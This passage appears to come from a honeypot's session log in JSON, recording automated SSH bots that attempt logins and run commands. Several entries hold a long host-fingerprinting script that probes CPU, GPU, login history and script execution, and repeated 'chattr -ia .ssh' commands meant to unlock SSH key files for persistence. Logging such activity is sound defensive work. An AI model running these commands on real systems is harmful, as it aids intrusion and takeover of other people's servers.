*xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:52:14.199575+00:00",
  "ended_at": "2026-08-27T05:52:14.329815+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "695e8133-86b5-4fef-a0c2-5d44f10b84ad",
  "name": "arctic-jagged-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58460,
  "username": "kkk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:51:49.646369+00:00",
  "ended_at": "2026-08-27T05:51:50.787856+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "0abfa460-236e-4586-ba40-adbb80f08a17",
  "name": "chilly-restless-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58464,
  "username": "kkk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:51:24.375599+00:00",
  "ended_at": "2026-08-27T05:51:25.578474+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a261627d-2435-4727-9e07-b8f5a6bedd9a",
  "name": "honest-polar-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58462,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:51:22.381529+00:00",
  "ended_at": "2026-08-27T05:51:23.739626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73054630-4e9e-40c7-be7e-be17aa90f095",
  "name": "polar-golden-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 34826,
  "username": "apache",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:50:21.741674+00:00",
  "ended_at": "2026-08-27T05:50:21.892046+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "15c8f7d1-9c5f-4336-a6bc-91df637f559c",
  "name": "civil-tawny-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 35266,
  "username": "xiaolin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:49:54.223925+00:00",
  "ended_at": "2026-08-27T05:49:56.159164+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "34ed8350-94dd-475d-9e0f-1724fd8cebb4",
  "name": "umber-seaward-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55848,
  "username": "xiaolin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:49:27.035595+00:00",
  "ended_at": "2026-08-27T05:49:28.679017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e238ac97-ebef-4d8e-b173-45066bb8d84c",
  "name": "languid-craggy-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 35276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:49:24.929934+00:00",
  "ended_at": "2026-08-27T05:49:26.385495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89aa9e54-9bb6-4cf5-a6b4-c3907f43fca8",
  "name": "faded-windswept-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60208,
  "username": "apache",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:48:34.074188+00:00",
  "ended_at": "2026-08-27T05:48:34.333093+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e7767d99-2f3a-4355-b785-faacccfdda2b",
  "name": "quartz-primal-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 55226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:47:51.436453+00:00",
  "ended_at": "2026-08-27T05:47:53.469714+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dd49165f-d9c0-4c17-a60f-1887d32dc508",
  "name": "silent-vigilant-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:47:35.476443+00:00",
  "ended_at": "2026-08-27T05:47:37.453209+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7ea27ea-dc5e-4464-a3d1-e5bb94a37ba4",
  "name": "salty-opal-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55228,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:47:33.257139+00:00",
  "ended_at": "2026-08-27T05:47:34.814036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f15d113f-e8ed-4728-9237-828afc618b81",
  "name": "ruddy-hushed-fennec",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "106.52.49.148",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:46:53.464399+00:00",
  "ended_at": "2026-08-27T06:02:08.453275+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ebce7be3-48a0-48ff-a1b8-82598026ddd9",
  "name": "bold-fickle-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57342,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:46:43.458125+00:00",
  "ended_at": "2026-08-27T05:46:43.560201+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c86d61c7-b2bb-4e53-b47d-17a3df0cf06a",
  "name": "stoic-tawny-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58176,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:45:53.986321+00:00",
  "ended_at": "2026-08-27T05:45:55.304401+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "1b72415d-7a25-4bd5-906a-18792e5b7ede",
  "name": "dapper-hollow-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58200,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:45:30.185045+00:00",
  "ended_at": "2026-08-27T05:45:31.379385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6594bd4f-80ee-4c1e-8576-78ec2e6eb398",
  "name": "ashen-ginger-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:45:28.554553+00:00",
  "ended_at": "2026-08-27T05:45:29.544796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "529c561c-05d5-428a-822f-d58089882c4c",
  "name": "grumpy-quiet-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54456,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:44:54.788654+00:00",
  "ended_at": "2026-08-27T05:44:54.893461+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "89eaeb04-fc67-4f36-bb0e-dbf6cfb01d9f",
  "name": "fearless-arctic-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53153,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:44:32.386895+00:00",
  "ended_at": "2026-08-27T05:45:12.116640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58ff4cae-b44a-4118-8862-2327b3d79ae9",
  "name": "honest-vigilant-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:43:53.133955+00:00",
  "ended_at": "2026-08-27T05:43:54.758512+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b2c94294-0d81-4c16-ba11-7de487c8e885",
  "name": "flinty-steady-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:43:25.777466+00:00",
  "ended_at": "2026-08-27T05:43:27.551577+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8161ce7a-2244-47b6-80b9-47fdf0d92837",
  "name": "hearty-humble-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43402,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
